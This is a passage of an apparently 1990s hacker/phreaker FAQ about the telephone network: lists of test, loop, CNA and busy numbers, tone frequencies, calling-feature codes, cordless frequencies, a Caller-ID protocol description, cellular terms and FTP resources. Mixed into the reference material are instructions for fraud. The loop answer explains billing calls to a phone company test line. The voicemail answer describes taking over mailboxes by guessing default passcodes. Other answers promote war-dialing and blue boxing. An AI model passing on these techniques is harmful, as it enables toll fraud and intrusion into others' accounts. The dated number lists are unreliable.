Iowa 334 901-xxxx Montgomery, AL 401 98?-xxxx RI 404 450-xxxx Atlanta, GA 407 988-xxxx Orlando/West Palm Beach, FL 408 470-xxxx San Jose, CA 408 580-xxxx San Jose, CA 412 985-xxxx Pittsburgh, PA 414 977-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI 414 978-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI 415 350-xxxx San Francisco, CA 417 551-xxxx Joplin/Springfield, MO 501 221-xxx-xxxx AR 501 721-xxx-xxxx AR 502 988 Frankfort/Louisville/Paducah/Shelbyville, KY 503 541-XXXX OR 504 99x-xxxx Baton Rouge/New Orleans, LA 504 9988776655 Baton Rouge/New Orleans, LA 505 59?-xxxx New Mexico 512 95X-xxxx Austin, TX 513 951-xxxx Cincinnati/Dayton, OH 513 955-xxxx Cincinnati/Dayton, OH 513 99?-xxxx Cincinnati/Dayton, OH (X=0, 1, 2, 3, 4, 8 or 9) N 515 559-XXXX Des Moines, IA 516 660-xxx-xxxx Hempstead/Long Island, NY 601 777-xxxx MS 609 55?-xxxx Atlantic City/Camden/Trenton/Vineland, NJ 610 811-xxxx Allentown/Reading, PA 612 511 Minneapolis/St.Paul, MN 612 999-xxx-xxxx Minneapolis/St.Paul, MN N 613 999-xxx-xxxx Ottawa, Ontario 614 998-xxxx Columbus/Steubenville, OH 615 920-XXXX Chatanooga/Knoxville/Nashville, TN 615 930-xxxx Chatanooga/Knoxville/Nashville, TN 616 946-xxxx Battle Creek/Grand Rapids/Kalamazoo, MI 619 331-xxxx San Diego, CA 619 332-xxxx San Diego, CA N 659 981-XXXX Newmarket, NH N 703 511-xxx-xxxx VA 703 958-xxxx Alexandria/Arlington/Roanoke, VA 708 511-xxxx Chicago/Elgin, IL N 713 231-xxxx Los Angeles, CA 714 330? Anaheim, CA (GTE) 714 33?-xxxx Anaheim, CA (PacBell) 716 981-xxxx Rochester, NY (Rochester Tel) 718 660-xxxx Bronx/Brooklyn/Queens/Staten Island, NY 719 99x-xxxx Colorado Springs/Leadville/Pueblo, CO 801 938-xxxx Utah 801 939-xxxx Utah 802 987-xxxx Vermont 804 260 Charlottesville/Newport News/Norfolk/Richmond, VA 805 114 Bakersfield/Santa Barbara, CA 805 980-xxxx Bakersfield/Santa Barbara, CA 810 951-xxx-xxxx Pontiac/Southfield/Troy, MI 813 711 Ft. Meyers/St. Petersburg/Tampa, FL 817 971 Ft. Worth/Waco, TX (Flashhook, then 2#) 906 951-xxx-xxxx Marquette/Sault Ste. Marie, MI 908 55?-xxxx New Brunswick, NJ 908 953 New Brunswick, NJ 913 951-xxxx Lawrence/Salina/Topeka, KS 914 660-xxxx-xxxx Peekskill/Poughkeepsie/White Plains/Yonkers, NY Canada: 204 590-xxx-xxxx Manitoba 416 57x-xxxx Toronto, Ontario 416 99x-xxxx Toronto, Ontario 416 999-xxx-xxxx Toronto, Ontario 506 572+xxx-xxxx New Brunswick 514 320-xxx-xxxx Montreal, Quebec 519 999-xxx-xxxx London, Ontario N 604 311-xxx-xxxx British Columbia 613 999-xxx-xxxx Ottawa, Ontario 705 999-xxx-xxxx North Bay/Saulte Ste. Marie, Ontario N 819 320-xxx-xxxx Quebec N 905 999-xxx-xxxx Hamilton/Mississauga/Niagra Falls, Ontario Australia: +61 199 Brazil: 109 or 199 N France: 3644 Holland: 99-xxxxxx New Zealand: 137 Sweden: 0058 United Kingdom: 174 or 1744 or 175 or 0500-89-0011 N Amsterdam 0196 N Hilversum 0123456789 N Breukelen 0123456789 N Groningen 951 14. What is a loop? This FAQ answer is excerpted from: ToneLoc v0.99 User Manual by Minor Threat & Mucho Maas Loops are a pair of phone numbers, usually consecutive, like 836-9998 and 836-9999. They are used by the phone company for testing. What good do loops do us? Well, they are cool in a few ways. Here is a simple use of loops. Each loop has two ends, a 'high' end, and a 'low' end. One end gives a (usually) constant, loud tone when it is called. The other end is silent. Loops don't usually ring either. When BOTH ends are called, the people that called each end can talk through the loop. Some loops are voice filtered and won't pass anything but a constant tone; these aren't much use to you. Here's what you can use working loops for: billing phone calls! First, call the end that gives the loud tone. Then if the operator or someone calls the other end, the tone will go quiet. Act like the phone just rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or what the fuck ever. The operator thinks that she just called you, and that's it! Now the phone bill will go to the loop, and your local RBOC will get the bill! Use this technique in moderation, or the loop may go down. Loops are probably most useful when you want to talk to someone to whom you don't want to give your phone number. 15. What is a loop in my area? Many of these loops are no longer functional. If you are local to any of these loops, please try them out an e-mail me the results of your research. NPA High Low --- -------- -------- 201 666-9929 666-9930 208 862-9996 862-9997 209 732-0044 732-0045 201 666-9929 666-9930 213 360-1118 360-1119 213 365-1118 365-1119 213 455-0002 455-XXXX 213 455-0002 455-xxxx 213 546-0002 546-XXXX 213 546-0002 546-xxxx 213 549-1118 549-1119 305 964-9951 964-9952 307 468-9999 468-9998 308 357-0004 357-0005 312 262-9902 262-9903 313 224-9996 224-9997 313 225-9996 225-9997 313 234-9996 234-9997 313 237-9996 237-9997 313 256-9996 256-9997 313 272-9996 272-9997 313 273-9996 273-9997 313 277-9996 277-9997 313 281-9996 281-9997 313 292-9996 292-9997 313 299-9996 299-9997 313 321-9996 321-9997 313 326-9996 326-9997 313 356-9996 356-9997 313 362-9996 362-9997 313 369-9996 369-9997 313 388-9996 388-9997 313 397-9996 397-9997 313 399-9996 399-9997 313 445-9996 445-9997 313 465-9996 465-9997 313 471-9996 471-9997 313 474-9996 474-9997 313 477-9996 477-9997 313 478-9996 478-9997 313 483-9996 483-9997 313 497-9996 497-9997 313 526-9996 526-9997 313 552-9996 552-9997 313 556-9996 556-9997 313 561-9996 561-9997 313 569-9996 569-9996 313 575-9996 575-9997 313 577-9996 577-9997 313 585-9996 585-9997 313 591-9996 591-9997 313 621-9996 621-9997 313 626-9996 626-9997 313 644-9996 644-9997 313 646-9996 646-9997 313 647-9996 647-9997 313 649-9996 649-9997 313 663-9996 663-9997 313 665-9996 665-9997 313 683-9996 683-9997 313 721-9996 721-9997 313 722-9996 722-9997 313 728-9996 728-9997 313 731-9996 731-9997 313 751-9996 751-9997 313 776-9996 776-9997 313 781-9996 781-9997 313 787-9996 787-9997 313 822-9996 822-9997 313 833-9996 833-9997 313 851-9996 851-9997 313 871-9996 871-9997 313 875-9996 875-9997 313 886-9996 886-9997 313 888-9996 888-9997 313 898-9996 898-9997 313 934-9996 934-9997 313 942-9996 942-9997 313 963-9996 963-9997 313 977-9996 977-9997 315 673-9995 673-9996 315 695-9995 695-9996 402 422-0001 422-0002 402 422-0003 422-0004 402 422-0005 422-0006 402 422-0007 422-0008 402 572-0003 572-0004 402 779-0004 779-0007 406 225-9902 225-9903 N 408 238-0044 238-0045 N 408 272-0044 272-0045 N 408 729-0044 729-0045 N 408 773-0044 773-0045 N 408 926-0044 926-0045 517 422-9996 422-9997 517 423-9996 423-9997 517 455-9996 455-9997 517 563-9996 563-9997 517 663-9996 663-9997 517 851-9996 851-9997 609 921-9929 921-9930 609 994-9929 994-9930 613 966-1111 616 997-9996 997-9997 708 724-9951 724-???? 713 224-1499 759-1799 713 324-1499 324-1799 713 342-1499 342-1799 713 351-1499 351-1799 713 354-1499 354-1799 713 356-1499 356-1799 713 442-1499 442-1799 713 447-1499 447-1799 713 455-1499 455-1799 713 458-1499 458-1799 713 462-1499 462-1799 713 466-1499 466-1799 713 468-1499 468-1799 713 469-1499 469-1799 713 471-1499 471-1799 713 481-1499 481-1799 713 482-1499 482-1799 713 484-1499 484-1799 713 487-1499 487-1799 713 489-1499 489-1799 713 492-1499 492-1799 713 493-1499 493-1799 713 524-1499 524-1799 713 526-1499 526-1799 713 555-1499 555-1799 713 661-1499 661-1799 713 664-1499 664-1799 713 665-1499 665-1799 713 666-1499 666-1799 713 667-1499 667-1799 713 682-1499 976-1799 713 771-1499 771-1799 713 780-1499 780-1799 713 781-1499 997-1799 713 960-1499 960-1799 713 977-1499 977-1799 713 988-1499 988-1799 N 719 598-0009 598-0010 805 528-0044 528-0045 805 544-0044 544-0045 805 773-0044 773-0045 808 235-9907 235-9908 808 239-9907 239-9908 808 245-9907 245-9908 808 247-9907 247-9908 808 261-9907 261-9908 808 322-9907 322-9908 808 328-9907 328-9908 808 329-9907 329-9908 808 332-9907 332-9908 808 335-9907 335-9908 808 572-9907 572-9908 808 623-9907 623-9908 808 624-9907 624-9908 808 668-9907 668-9908 808 742-9907 742-9908 808 879-9907 879-9908 808 882-9907 882-9908 808 885-9907 885-9908 808 959-9907 959-9908 808 961-9907 961-9908 810 362-9996 362-9997 813 385-9971 385-xxxx 908 254-9929 254-9930 908 558-9929 558-9930 908 560-9929 560-9930 908 776-9930 776-9930 16. What is a CNA number? CNA stands for Customer Name and Address. The CNA number is a phone number for telephone company personnel to call and get the name and address for a phone number. If a telephone lineman finds a phone line he does not recognize, he can use the ANI number to find its phone number and then call the CNA operator to see who owns it and where they live. Normal CNA numbers are available only to telephone company personnel. Private citizens may legally get CNA information from private companies. Two such companies are: Unidirectory (900)933-3330 Telename (900)884-1212 Note that these are 900 numbers, and will cost you approximately one dollar per minute. If you are in 312 or 708, AmeriTech has a pay-for-play CNA service available to the general public. The number is 796-9600. The cost is $.35/call and can look up two numbers per call. If you are in 415, Pacific Bell offers a public access CNL service at (415)705-9299. If you are in Bell Atlantic territory you can call (201)555-5454 or (908)555-5454 for automated CNA information. The cost is $.50/call. 17. What is the telephone company CNA number for my area? 203 (203)771-8080 CT 312 (312)796-9600 Chicago, IL 506 (506)555-1313 New Brunswick 513 (513)397-9110 Cincinnati/Dayton, OH 516 (516)321-5700 Hempstead/Long Island, NY 614 (614)464-0123 Columbus/Steubenville, OH 813 (813)270-8711 Ft. Meyers/St. Petersburg/Tampa, FL NYNEX (518)471-8111 New York, Connecticut, Vermont, Rhode Island, New Hampshire, and Massachusetts 18. What are some numbers that always ring busy? In the following listings, "xxx" means that the same number is used as a constantly busy number in many different prefixes. In most of these, there are some exchanges that ring busy and some exchanges that are in normal use. *ALWAYS* test these numbers at least three times during normal business hours before using as a constantly busy number. N 800 999-1803 WATS N 201 635-9970 Hackensack/Jersey City/Newark/Paterson, NJ N 212 724-9970 Manhattan, NY N 213 xxx-1117 Los Angeles, CA N 213 xxx-1118 Los Angeles, CA N 213 xxx-1119 Los Angeles, CA N 213 xxx-9198 Los Angeles, CA 216 xxx-9887 Akron/Canton/Cleveland/Lorain/Youngstown, OH 303 431-0000 Denver, CO 303 866-8660 Denver, CO N 310 xxx-1117 Long Beach, CA N 310 xxx-1118 Long Beach, CA N 310 xxx-1119 Long Beach, CA N 310 xxx-9198 Long Beach, CA 316 952-7265 Dodge City/Wichita, KS 501 377-99xx AR U 719 472-3772 Colorado Springs/Leadville/Pueblo, CO 805 255-0699 Bakersfield/Santa Barbara, CA N 714 xxx-1117 Anaheim, CA N 714 xxx-1118 Anaheim, CA N 714 xxx-1119 Anaheim, CA N 714 xxx-9198 Anaheim, CA N 717 292-0009 Harrisburg/Scranton/Wilkes-Barre, PA N 818 xxx-1117 Pasadena, CA N 818 xxx-1118 Pasadena, CA N 818 xxx-1119 Pasadena, CA N 818 xxx-9198 Pasadena, CA U 818 885-0699 Pasadena, CA (???-0699 is a pattern) N 860 525-7078 Hartford, CT 906 632-9999 Marquette/Sault Ste. Marie, MI 906 635-9999 Marquette/Sault Ste. Marie, MI 19. What are some numbers that temporarily disconnect phone service? If your NPA is not listed, or the listing does not cover your LATA, try common numbers such as 119 (GTD5 switches) or 511. 314 511 Columbia/Jefferson City/St.Louis, MO (1 minute) 404 420 Atlanta, GA (5 minutes) 405 953 Enid/Oklahoma City, OK (1 minute) U 407 511 Orlando, FL (United Telephone) (1 minute) N 414 958-0013 Fond du Lac/Green Bay/Milwaukee/Racine, WI (1 minute) 512 200 Austin/Corpus Christi, TX (1 minute) 516 480 Hempstead/Long Island, NY (1 minute) 603 980 NH 614 xxx-9894 Columbus/Steubenville, OH 805 119 Bakersfield/Santa Barbara, CA (3 minutes) 919 211 or 511 Durham, NC (10 min - 1 hour) 20. What is a Proctor Test Set? A Proctor Test Set is a tool used by telco personnel to diagnose problems with phone lines. You call the Proctor Test Set number and press buttons on a touch tone phone to active the tests you select. 21. What is a Proctor Test Set in my area? If your NPA is not listed try common numbers such as 111 or 117. 805 111 Bakersfield/Santa Barbara, CA 909 117 Tyler, TX 913 611-1111 Lawrence/Salina/Topeka, KS 22. What is scanning? Scanning is dialing a large number of telephone numbers in the hope of finding interesting carriers (computers) or tones. Scanning can be done by hand, although dialing several thousand telephone numbers by hand is extremely boring and takes a long time. Much better is to use a scanning program, sometimes called a war dialer or a demon dialer. Currently, the best war dialer available to PC-DOS users is ToneLoc from Minor Threat and Mucho Maas. ToneLoc can be ftp'd from /pub/toneloc/. A war dialer will dial a range of numbers and log what it finds at each number. You can then only dial up the numbers that the war dialer marked as carriers or tones. 23. Is scanning illegal? Excerpt from: 2600, Spring 1990, Page 27: -BQ- In some places, scanning has been made illegal. It would be hard, though, for someone to file a complaint against you for scanning since the whole purpose is to call every number once and only once. It's not likely to be thought of as harassment by anyone who gets a single phone call from a scanning computer. Some central offices have been known to react strangely when people start scanning. Sometimes you're unable to get a dialtone for hours after you start scanning. But there is no uniform policy. The best thing to do is to first find out if you've got some crazy law saying you can't do it. If, as is likely, there is no such law, the only way to find out what happens is to give it a try. -EQ- It should be noted that a law making scanning illegal was recently passed in Colorado Springs, CO. It is now illegal to place a call in Colorado Springs without the intent to communicate. 24. Where can I purchase a lineman's handset? Contact East 335 Willow Street North Andover, MA 01845-5995 (508)682-2000 Jensen Tools 7815 S. 46th Street Phoenix, AZ 85044-5399 (800)426-1194 Specialized Products 3131 Premier Drive Irving, TX 75063 (800)866-5353 Time Motion Tools 12778 Brookprinter Place Poway, CA 92064 (619)679-0303 25. What are the DTMF frequencies? DTMF stands for Dual Tone Multi Frequency. These are the tones you get when you press a key on your telephone touch pad. The tone of the button is the sum of the column and row tones. The ABCD keys do not exist on standard telephones. 1209 1336 1477 1633 697 1 2 3 A 770 4 5 6 B 852 7 8 9 C 941 * 0 # D 26. What are the frequencies of the telephone tones? Type Hz On Off --------------------------------------------------------------------- Dial Tone 350 & 440 --- --- Busy Signal 480 & 620 0.5 0.5 Toll Congestion 480 & 620 0.2 0.3 Ringback (Normal) 440 & 480 2.0 4.0 Ringback (PBX) 440 & 480 1.5 4.5 Reorder (Local) 480 & 620 3.0 2.0 Invalid Number 200 & 400 Hang Up Warning 1400 & 2060 0.1 0.1 Hang Up 2450 & 2600 --- --- 27. What are all of the * (LASS) codes? Local Area Signalling Services (LASS) and Custom Calling Feature Control Codes: (These appear to be standard, but may be changed locally) Service Tone Pulse/rotary Notes -------------------------------------------------------------------------- Assistance/Police *12 n/a [1] Cancel forwarding *30 n/a [C1] Automatic Forwarding *31 n/a [C1] Notify *32 n/a [C1] [2] Intercom Ring 1 (..) *51 1151 [3] Intercom Ring 2 (.._) *52 1152 [3] Intercom Ring 3 (._.) *53 1153 [3] Extension Hold *54 1154 [3] Customer Originated Trace *57 1157 Selective Call Rejection *60 1160 (or Call Screen) Selective Distinct Alert *61 1161 Selective Call Acceptance *62 1162 Selective Call Forwarding *63 1163 ICLID Activation *65 1165 Call Return (outgoing) *66 1166 Number Display Blocking *67 1167 [4] Computer Access Restriction *68 1168 Call Return (incoming) *69 1169 Call Waiting disable *70 1170 [4] No Answer Call Transfer *71 1171 Usage Sensitive 3 way call *71 1171 Call Forwarding: start *72 or 72# 1172 Call Forwarding: cancel *73 or 73# 1173 Speed Calling (8 numbers) *74 or 74# 1174 Speed Calling (30 numbers) *75 or 75# 1175 Anonymous Call Rejection *77 1177 [5] [M: *58] Call Screen Disable *80 1180 (or Call Screen) [M: *50] Selective Distinct Disable *81 1181 [M: *51] Select. Acceptance Disable *82 1182 [4] [7] Select. Forwarding Disable *83 1183 [M: *53] ICLID Disable *85 1185 Call Return (cancel out) *86 1186 [6] [M: *56] Anon. Call Reject (cancel) *87 1187 [5] [M: *68] Call Return (cancel in) *89 1189 [6] [M: *59] Notes: [C1] - Means code used for Cellular One service [1] - for cellular in Pittsburgh, PA A/C 412 in some areas [2] - indicates that you are not local and maybe how to reach you [3] - found in Pac Bell territory; Intercom ring causes a distinctive ring to be generated on the current line; Hold keeps a call connected until another extension is picked up [4] - applied once before each call [5] - A.C.R. blocks calls from those who blocked Caller ID (used in C&P territory, for instance) [6] - cancels further return attempts [7] - *82 (1182) has been mandated to be the nationwide code for "Send CLID info regardless of the default setting on this phone line." [M: *xx] - alternate code used for MLVP (multi-line variety package) by Bellcore. It goes by different names in different RBOCs. In Bellsouth it is called Prestige. It is an arrangement of ESSEX like features for single or small multiple line groups. The reason for different codes for some features in MLVP is that call-pickup is *8 in MLVP so all *8x codes are reassigned *5x 28. What frequencies do cordless phones operate on? Here are the frequencies for the first generation 46/49mhz phones. Channel Handset Transmit Base Transmit ------- ---------------- ------------- 1 49.670mhz 46.610mhz 2 49.845 46.630 3 49.860 46.670 4 49.770 46.710 5 49.875 46.730 6 49.830 46.770 7 49.890 46.830 8 49.930 46.870 9 49.990 46.930 10 49.970 46.970 The new "900mhz" cordless phones have been allocated the frequencies between 902-228MHz, with channel spacing between 30-100KHz. Following are some examples of the frequencies used by phones currently on the market. ---------------------------------------------------------------- Panasonic KX-T9000 (60 Channels) base 902.100 - 903.870 Base frequencies (30Khz spacing) handset 926.100 - 927.870 Handset frequencies CH BASE HANDSET CH BASE HANDSET CH BASE HANDSET -- ------- ------- -- ------- ------- -- ------- ------- 01 902.100 926.100 11 902.400 926.400 21 902.700 926.700 02 902.130 926.130 12 902.430 926.430 22 902.730 926.730 03 902.160 926.160 13 902.460 926.460 23 902.760 926.760 04 902.190 926.190 14 902.490 926.490 24 902.790 926.790 05 902.220 926.220 15 902.520 926.520 25 902.820 926.820 06 902.250 926.250 16 902.550 926.550 26 902.850 926.850 07 902.280 926.280 17 902.580 926.580 27 902.880 926.880 08 902.310 926.310 18 902.610 926.610 28 902.910 926.910 09 902.340 926.340 19 902.640 926.640 29 902.940 926.940 10 902.370 926.370 20 902.670 926.670 30 902.970 926.970 31 903.000 927.000 41 903.300 927.300 51 903.600 927.600 32 903.030 927.030 42 903.330 927.330 52 903.630 927.630 33 903.060 927.060 43 903.360 927.360 53 903.660 927.660 34 903.090 927.090 44 903.390 927.390 54 903.690 927.690 35 903.120 927.120 45 903.420 927.420 55 903.720 927.720 36 903.150 927.150 46 903.450 927.450 56 903.750 927.750 37 903.180 927.180 47 903.480 927.480 57 903.780 927.780 38 903.210 927.210 48 903.510 927.510 58 903.810 927.810 39 903.240 927.240 49 903.540 927.540 59 903.840 927.840 40 903.270 927.270 50 903.570 927.570 60 903.870 927.870 ------------------------------------------------------------ V-TECH TROPEZ DX900 (20 CHANNELS) 905.6 - 907.5 TRANSPONDER (BASE) FREQUENCIES (100 KHZ SPACING) 925.5 - 927.4 HANDSET FREQUENCIES CH BASE HANDSET CH BASE HANDSET CH BASE HANDSET -- ------- ------- -- ------- ------- -- ------- ------- 01 905.600 925.500 08 906.300 926.200 15 907.000 926.900 02 905.700 925.600 09 906.400 926.300 16 907.100 927.000 03 905.800 925.700 10 906.500 926.400 17 907.200 927.100 04 905.900 925.800 11 906.600 926.500 18 907.300 927.200 05 906.000 925.900 12 906.700 926.600 19 907.400 927.300 06 906.100 926.000 13 906.800 926.700 20 907.500 927.400 07 906.200 926.100 14 906.900 926.800 ------------------------------------------------------------ Other 900mhz cordless phones AT&T #9120 - - - - - 902.0 - 905.0 & 925.0 - 928.0 MHZ OTRON CORP. #CP-1000 902.1 - 903.9 & 926.1 - 927.9 MHZ SAMSUNG #SP-R912- - - 903.0 & 927.0 MHZ ------------------------------------------------------------ 29. What is Caller-ID? This FAQ answer is stolen from Rockwell: Calling Number Delivery (CND), better known as Caller ID, is a telephone service intended for residential and small business customers. It allows the called Customer Premises Equipment (CPE) to receive a calling party's directory number and the date and time of the call during the first 4 second silent interval in the ringing cycle. Parameters ~~~~~~~~~~ The data signalling interface has the following characteristics: Link Type: 2-wire, simplex Transmission Scheme: Analog, phase-coherent FSK Logical 1 (mark) 1200 +/- 12 Hz Logical 0 (space) 2200 +/- 22 Hz Transmission Rate: 1200 bps Transmission Level: 13.5 +/- dBm into 900 ohm load Protocol ~~~~~~~~ The protocol uses 8-bit data words (bytes), each bounded by a start bit and a stop bit. The CND message uses the Single Data Message format shown below. | Channel | Carrier | Message | Message | Data | Checksum | | Seizure | Signal | Type | Length | Word(s) | Word | | Signal | | Word | Word | | | Channel Seizure Signal ~~~~~~~~~~~~~~~~~~~~~~ The channel seizure is 30 continuous bytes of 55h (01010101) providing a detectable alternating function to the CPE (i.e. the modem data pump). Carrier Signal ~~~~~~~~~~~~~~ The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to condition the receiver for data. Message Type Word ~~~~~~~~~~~~~~~~~ The message type word indicates the service and capability associated with the data message. The message type word for CND is 04h (00000100). Message Length Word ~~~~~~~~~~~~~~~~~~~ The message length word specifies the total number of data words to follow. Data Words ~~~~~~~~~~ The data words are encoded in ASCII and represent the following information: o The first two words represent the month o The next two words represent the day of the month o The next two words represent the hour in local military time o The next two words represent the minute after the hour o The calling party's directory number is represented by the remaining words in the data word field If the calling party's directory number is not available to the terminating central office, the data word field contains an ASCII "O". If the calling party invokes the privacy capability, the data word field contains an ASCII "P". Checksum Word ~~~~~~~~~~~~~ The Checksum Word contains the twos complement of the modulo 256 sum of the other words in the data message (i.e., message type, message length, and data words). The receiving equipment may calculate the modulo 256 sum of the received words and add this sum to the received checksum word. A result of zero generally indicates that the message was correctly received. Message retransmission is not supported. Example CNS Single Data Message ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ An example of a received CND message, beginning with the message type word, follows: 04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51 04h= Calling number delivery information code (message type word) 12h= 18 decimal; Number of data words (date,time, and directory number words) ASCII 30,39= 09; September ASCII 33,30= 30; 30th day ASCII 31,32= 12; 12:00 PM ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM) ASCII 36,30,39,35,35,35,31,32,31,32= (609) 555-1212; calling party's directory number 51h= Checksum Word Data Access Arrangement (DAA) Requirements ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To receive CND information, the modem monitors the phone line between the first and second ring bursts without causing the DAA to go off hook in the conventional sense, which would inhibit the transmission of CND by the local central office. A simple modification to an existing DAA circuit easily accomplishes the task. Modem Requirements ~~~~~~~~~~~~~~~~~~ Although the data signalling interface parameters match those of a Bell 202 modem, the receiving CPE need not be a Bell 202 modem. A V.23 1200 bps modem receiver may be used to demodulate the Bell 202 signal. The ring indicate bit (RI) may be used on a modem to indicate when to monitor the phone line for CND information. After the RI bit sets, indicating the first ring burst, the host waits for the RI bit to reset. The host then configures the modem to monitor the phone line for CND information. Signalling ~~~~~~~~~~ According to Bellcore specifications, CND signalling starts as early as 300 mS after the first ring burst and ends at least 475 mS before the second ring burst Applications ~~~~~~~~~~~~ Once CND information is received the user may process the information in a number of ways. 1. The date, time, and calling party's directory number can be displayed. 2. Using a look-up table, the calling party's directory number can be correlated with his or her name and the name displayed. 3. CND information can also be used in additional ways such as for: a. Bulletin board applications b. Black-listing applications c. Keeping logs of system user calls, or d. Implementing a telemarketing data base References ~~~~~~~~~~ For more information on Calling Number Delivery (CND), refer to Bellcore publications TR-TSY-000030 and TR-TSY-000031. To obtain Bellcore documents contact: Bellcore Customer Service 60 New England Avenue, Room 1B252 Piscataway, NJ 08834-4196 (908) 699-5800 30. How do I block Caller-ID? Always test as much as possible before relying on any method of blocking Caller-ID. Some of these methods work in some areas, but not in others. Dial *67 before you dial the number. (141 in the United Kingdom) Dial your local TelCo and have them add Caller-ID block to your line. Dial the 0 Operator and have him or her place the call for you. Dial the call using a pre-paid phone card. Dial through Security Consultants at (900)PREVENT for U.S. calls ($1.99/minute) or (900)STONEWALL for international calls ($3.99/minute). Dial from a pay phone. :-) 31. What is a PBX? A PBX is a Private Branch Exchange. A PBX is a small telephone switch owned by a company or organization. Let's say your company has a thousand employees. Without a PBX, you would need a thousand phone lines. However, only 10% of your employees are talking on the phone at one time. What if you had a computer that automatically found an outside line every time one of your employees picked up the telephone. With this type of system, you could get by with only paying for one hundred phone lines. This is a PBX. 32. What is a VMB? A VMB is a Voice Mail Box. A VMB is a computer that acts as an answering machine for hundreds or thousands of users. Each user will have their own Voice Mail Box on the system. Each mail box will have a box number and a pass code. Without a passcode, you will usually be able to leave messages to users on the VMB system. With a passcode, you can read messages and administer a mailbox. Often, mailboxes will exist that were created by default or are no longer used. These mailboxes may be taken over by guessing their passcode. Often the passcode will be the mailbox number or a common number such as 1234. 33. What are the ABCD tones for? The ABCD tones are simply additional DTFM tones that may be used in any way the standard (0-9) tones are used. The ABCD tones are used in the U.S. military telephone network (AutoVon), in some Automatic Call Distributor (ACD) systems, for control messages in some PBX systems, and in some amateur radio auto-patches. In the AutoVon network, special telephones are equipped with ABCD keys. The ABCD keys are defined as such: A - Flash B - Flash override priority C - Priority communication D - Priority override Using a built-in maintenance mode of the Automatic Call Distributor (ACD) systems once used by Directory Assistance operators, you could connect two callers together. The purpose of the Silver Box is to create the ABCD tones. See also "What are the DTMF Frequencies?" 34. What are the International Direct Numbers? The numbers are used so that you may connect to an operator from a foreign telephone network, without incurring long distance charges. These numbers may be useful in blue boxing, as many countries still have older switching equipment in use. Australia (800)682-2878 Austria (800)624-0043 Belgium (800)472-0032 Belize (800)235-1154 Bermuda (800)232-2067 Brazil (800)344-1055 British VI (800)278-6585 Cayman (800)852-3653 Chile (800)552-0056 China (Shanghai) (800)532-4462 Costa Rica (800)252-5114 Denmark (800)762-0045 El Salvador (800)422-2425 Finland (800)232-0358 France (800)537-2623 Germany (800)292-0049 Greece (800)443-5527 Guam (800)367-4826 HK (800)992-2323 Hungary (800)352-9469 Indonesia (800)242-4757 Ireland (800)562-6262 Italy (800)543-7662 Japan (800)543-0051 Korea (800)822-8256 Macau (800)622-2821 Malaysia (800)772-7369 Netherlands (800)432-0031 Norway (800)292-0047 New Zealand (800)248-0064 Panama (800)872-6106 Portugal (800)822-2776 Philippines (800)336-7445 Singapore (800)822-6588 Spain (800)247-7246 Sweden (800)345-0046 Taiwan (800)626-0979 Thailand (800)342-0066 Turkey (800)828-2646 UK (800)445-5667 Uruguay (800)245-8411 Yugoslavia (800)367-9842 (Belgrade) 367-9841 (Zagreb) USA from outside (800)874-4000 Ext. 107 Section C: Cellular ~~~~~~~~~~~~~~~~~~~ 01. What is an MTSO? MTSO stands for Mobile Telephone Switching Office. The MTSO is the switching office that connects all of the individual cell towers to the Central Office (CO). The MTSO is responsible for monitoring the relative signal strength of your cellular phone as reported by each of the cell towers, and switching your conversation to the cell tower which will give you the best possible reception. 02. What is a NAM? NAM stands for Number Assignment Module. The NAM is the EPROM that holds information such as the MIN and SIDH. Cellular fraud is committed by modifying the information stored in this component. 03. What is an ESN? ESN stands for Electronic Serial Number. The is the serial number of your cellular telephone. 04. What is an MIN? MIN stands for Mobile Identification Number. This is the phone number of the cellular telephone. 05. What is a SCM? SCM stands for Station Class Mark. The SCM is a 4 bit number which holds three different pieces of information. Your cellular telephone transmits this information (and more) to the cell tower. Bit 1 of the SCM tells the cell tower whether your cellphone uses the older 666 channel cellular system, or the newer 832 channel cellular system. The expansion to 832 channels occured in 1988. Bit 2 tells the cellular system whether your cellular telephone is a mobile unit or a voice activated cellular telephone. Bit's 3 and 4 tell the cell tower what power your cellular telephone should be transmitting on. Bit 1: 0 == 666 channels 1 == 832 channels Bit 2: 0 == Mobile cellular telephone 1 == Voice activated cellular telephone Bit 3/4: 00 == 3.0 watts (Mobiles) 01 == 1.2 watts (Transportables) 10 == .06 watts (Portables) 11 == Reserved for future use 06. What is a SIDH? SIDH stands for System Identification for Home System. The SIDH in your cellular telephone tells the cellular system what area your cellular service originates from. This is used in roaming (making cellular calls when in an area not served by your cellular provider). Every geographical region has two SIDH codes, one for the wireline carrier and one for the nonwireline carrier. These are the two companies that are legally allowed to provide cellular telephone service in that region. The wireline carrier is usually your local telephone company, while the nonwireline carrier will be another company. The SIDH for the wireline carrier is always an even number, while the SIDH for the nonwireline carrier is always an odd number. The wireline carrier is also known as the Side-B carrier and the non-wireline carrier is also known as the Side-A carrier. 07. What are the forward/reverse channels? Forward channels are the frequencies the cell towers use to talk to your cellular telephone. Reverse channels are the frequencies your cellular telephone uses to talk to the cell towers. The forward channel is usually 45 mhz above the reverse channel. For example, if the reverse channel is at 824 mhz, the forward channel would be at 869 mhz. Section D: Resources ~~~~~~~~~~~~~~~~~~~~ 01. What are some ftp sites of interest to hackers? N /pub/dmackey (2600 Magazine) (Kerberos) /links/security (Misc) (CyberWarriors of Xanadu) N /pub/atari/Utilities/ (Atari PGP) /pub/ATHENA (Athena Project) (Anti-virus) (Bellcore) (CERT) (CIAC) /pub/jcase (H/P) /pub/security (Security) /pub (Security/COAST) /pub/security (Security) (NIST Security) /pub/security (Security) (Internet documents) N /pub/novell /pub/Zines/PrivateLine (PrivateLine) N /pub/nomad /pub/Orange-Book (Orange Book) /pub (Mac Anti-virus) /pub/security & /pub/irc (Security & IRC) /pub/tcpr (Tcpr) /pub/user/kmartind (H/P) /pub/user/swallow (H/P) /pub (Australian CERT) /pub/software/unix/security (CERFnet) (FIRST) (Cisco) /pub/standards/drafts/shttp.txt (Secure HyperText) /pub/SECURITY (Security & PGP) /pub/comp-privacy (Privacy Digest) /pub/security /pub/nides (SRI) /mpj (Cryptology) /pub/cypherpunks (Crypto) N /pub/misc/0800num.txt (0800/0500 numbers) /pub/security/tools/satan /pub/access/dunk /pub/security/crypt 